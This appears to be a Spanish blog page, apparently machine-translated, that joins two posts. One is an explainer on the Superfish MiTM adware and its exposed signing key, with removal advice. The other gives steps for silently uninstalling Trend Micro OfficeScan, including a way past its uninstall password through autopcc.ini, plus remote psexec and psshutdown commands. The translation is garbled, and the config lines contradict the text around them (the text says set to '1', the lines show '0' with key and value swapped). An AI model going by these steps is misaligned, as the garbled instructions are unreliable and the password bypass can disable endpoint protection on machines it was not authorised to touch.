Así que todo el tráfico hacia y desde Naked Security, o Outlook.com, o su banco, pasa a través de la capa de MiTM Superfish, donde se descifra temporalmente y volver a cifrar.
Por supuesto, que el contenido descifrado termina dentro de su navegador de todos modos, pero tenerlo en abierto en más lugares que es estrictamente necesario es un riesgo innecesario.
Y, por supuesto, tienes que confiar en Superfish no hacer nada malo con que los datos descifrados, ya sea por accidente o por diseño.
Únicamente por esta razón, le recomendamos que desinstale el software Superfish si lo encuentras en tu ordenador:

Lenovo obviamente está de acuerdo, ya que ha dejado de usar Superfish, prometido nunca comprobar la validez de instalarlo de nuevo , y publicado sus propias instrucciones de eliminación .

Pero hay algo peor

Como usted probablemente ya se dio cuenta, por Superfish presentar el certificado falso Naked Security que ves arriba, tenía que generar y firmar dicho certificado automáticamente, en tiempo real, cuando intentó por vez primera para visitar nuestro sitio.
(Obviamente hay ninguna manera de que Superfish podría predecir todos los sitios que usted puede ser que utilice, por lo que no se puede tener certificados falsos ya instalados con antelación.)
En términos criptográficos, el software tiene que llevar una copia de la clave privada de firma Superfish, a pesar de que se supone que las claves privadas que se mantiene como privado y seguro.
Y lo hace, ya que encontrarás si te gusta todo en la memoria del software Superfish ejecutando:

Afortunadamente, la clave privada está en sí encriptada o protegida por contraseña.
De lo contrario, cualquier ladrón que descargó una copia del mismo sería de inmediato ser capaz de utilizarlo para firmar sus propios certificados falsos.
Estos serían automáticamente confiar en el equipo, porque Superfish registrado en sí con Windows como una autoridad de certificación raíz de confianza.

Descifrando la tecla

Lamentablemente, para Superfish de usar que la propia clave privada en tiempo real, la contraseña necesita ser almacenada en alguna parte.
Y es: está enterrado en el software Visual Discovery.
De hecho, es el nombre de la empresa de la que Superfish licencia del módulo de software MiTM, todo en minúsculas:

El texto de la contraseña aparece sin cifrar en la memoria cuando Visual Discovery está en ejecución, que es como varios investigadores de seguridad SSL recuperados y la verificaron.
→ Cuando intenta descifrar una clave criptográfica, que por lo general comienza con una lista de los más probables contraseñas, en lo que se conoce como un ataque de diccionario. Puede utilizar un diccionario tradicional para una colección de palabras de uso cotidiano, o una lista que se asocia obviamente con el objetivo que estamos tratando de romper, como el texto en memoria del proceso LSP aquí.
Tenga en cuenta que la clave privada del Superfish se puede utilizar para algo más que la firma de certificados HTTPS.
También se puede utilizar para la firma de código, que es donde dar fe de un programa (o incluso un controlador de dispositivo que se ejecuta dentro del propio sistema operativo) de la misma manera que los certificados HTTPS avalan sitios web.
Eso significa que el certificado Superfish podría ser objeto de abuso por los ciberdelincuentes no sólo de engañarlo para que confiar en un sitio web falso, sino también de engañarlo para que confiar en cualquier software que se descarga de la misma.

La línea de fondo

El software de Superfish representa un riesgo de seguridad.
Usted debe mirar para ver si está instalado en su equipo y quitarlo si está allí.
Ir a Panel de control | Programas | Programas y características.
Haga clic derecho y seleccione Desinstalar para deshacerse de él.
Entonces usted debe eliminar el certificado de autoridad de certificación raíz de confianza que se ha instalado, por lo que nadie más puede abusar de ella más adelante.
NOTA: Por favor, descargue y ejecute la herramienta de eliminación de Superfish ejecutable para asegurar la eliminación completa de Superfish y certificados para todos los principales navegadores.
Seguir las instrucciones a través del link que a continuación les indico.
http://support.lenovo.com/us/en/product_security/superfish_uninstall
Saludos,  nos veremos pronto..






TrendMicro OfficeScan 10.5 y 10.6 TRUCOS para la desinstalación desatendida Deployment 11


¿Tienes problemas para desinstalar versiones diferentes?
¿Está cansado de gastar mucho tiempo eliminar instalaciones de OfficeScan corruptos?
O escuchar indicar a la gente de soporte que la desinstalación de debe realizar a través de la eliminación de las claves del Registro, donde la mayoría de las veces terminan por abandonar y hasta muchas veces reinstalan el equipo.
O el caso típico no tengo la contraseña para desinstalarlo, cuando la solución se la podemos brindar nosotros como responsables y buenos Administradores que somos…
 Por fin he encontrado una manera para desinstalar las distintas versiones de OfficeScan 10.5. y 10.6 de forma desatendida con la misma línea de comando.
También funciona con instalaciones protegidas a través de  contraseña, dejando  bien limpio el registro, servicios y directorios utilizados por el mismo OfficeScan.
IMPORTANTE: los archivos deben ser solamente suministrados por el responsables de IT.
Estos archivos pueden ser copiados  de cualquier versión OfficeScan. Para el uso de la Desinstalación Manual. Caso contrario se pueden invocar desde el SHARE de PCCSRV.( OfficeScan).

Opción 1: Como desinstalar el OfficeScan de TrendMicro.
Como Administrador de Sistemas, podemos hacer esto.
Localizar la carpeta PCCSRV del servidor de OfficeScan, editamos el archivo autopcc.ini luego busque la sección [Instalar] y cambie los valores de las siguientes líneas a "1":
Desinstalar = 0
= 0 SilentUninstall
De esa forma el técnico cuando necesite desinstalar dicho antivirus, lo podrá hacer sin contar con la contraseña ojo ser serios y trabajar responsablemente siempre con garantía de lo que implica la ética de un buen profesional.
 Opción 2: Migrar de la versión 10.6 a las 11 Service Pack 1
Localizar la carpeta PCCSRV del servidor de OfficeScan 11, edite el archivo autopcc.ini y busque la sección [Instalar] y cambie los valores de las siguientes líneas a "1":
Desinstalar = 0
= 0 SilentUninstall
En el Office Scan 10.6 no se debe modificar ningún archivo.


Con solo indicar desde la consola del 10.6 e indicar Move Agent

Indicar nombre de servidor http://nombre_servidor y Port: ejemplo 8080
De esta manera cuando el nuevo OfficeScan 11 detecte el Agent, va a proceder la Desinstalación e Instalar la nueva versión OfficeScan 11, que bueno no!!!
Ventajas, es totalmente transparente para los usuarios y Técnicos…
NOTA: en el caso que el técnico solo requiera hacer una instalación manual, es necesario modificar el archivo a = (cero) autopcc.ini y busque la sección [Instalar] y cambie los valores de las siguientes líneas a "0":
Desinstalar = 0
= 0 SilentUninstall

En el OfficeScan 10.6 no se debe modificar ningún archivo.

Opcion 3: Realizando la Desinstalación Manual
La idea de esta  opción es para brindarle a la parte técnica en  caso de enlace WAN
1. Comience por crear una carpeta  y llamarlo algo así como UninstallTrend
2. Vaya a la carpeta PCCSRV del servidor de OfficeScan y copie los siguientes archivos y carpetas a la carpeta UnistallTrend recién creado.
·         autopcc. *
·         VSAPI32.dll
·         FlowControl.dll
·         carpeta autopcc.cfg
3. Abra la carpeta Autopcc copie y editar el archivo autopcc.ini y busque la sección [Instalar] y cambie los valores de las siguientes líneas a "1":
Desinstalar = 0
= 0 SilentUninstall
 Y ya está.
Para implementarlo puede crear un paquete con el programa que se inicia el siguiente: Autopcc.exe
O ejecutarlo desde un recurso compartido de archivos como esto: \\ <servidor> unistalltrendAutopcc.exe
NOTA: otro TRUCO ofcscan.ini debe estar en el equipo local donde se ejecutan el comando

ejemplo: PSEXEC 

psexec -n 20 @ofc10sequipo.txt -u DOMINIO\USUARIO -p PASSWORD cmd /c \\SERVIDOR\ofcscan\autopcc.exe

Editar el  archivo “ofc10sequipo.txt” ojo este archivo lo tenemos que crear con el Bloc de Notas  indicamos el nombre del hostname.

Tomar en cuenta que tarda a lo sumo 3 minutos la desinstalación del OfficeScan 10, verificar directorios y servicios.

NOTA Se puede ejecutar desde la consola del OfficeScan 11 la instalación sin la necesidad de su reinicio, esto queda pendiente para luego. 

Si necesita reiniciar el equipo de forma Manual

Reiniciar equipo 
psshutdown -r -f -c -t 60 -m "OFCS 10" \\EQUIPO

Luego les voy a explicar lo que realmente sucede con la password…
Hasta la próxima, saludos,
Carlos Crudo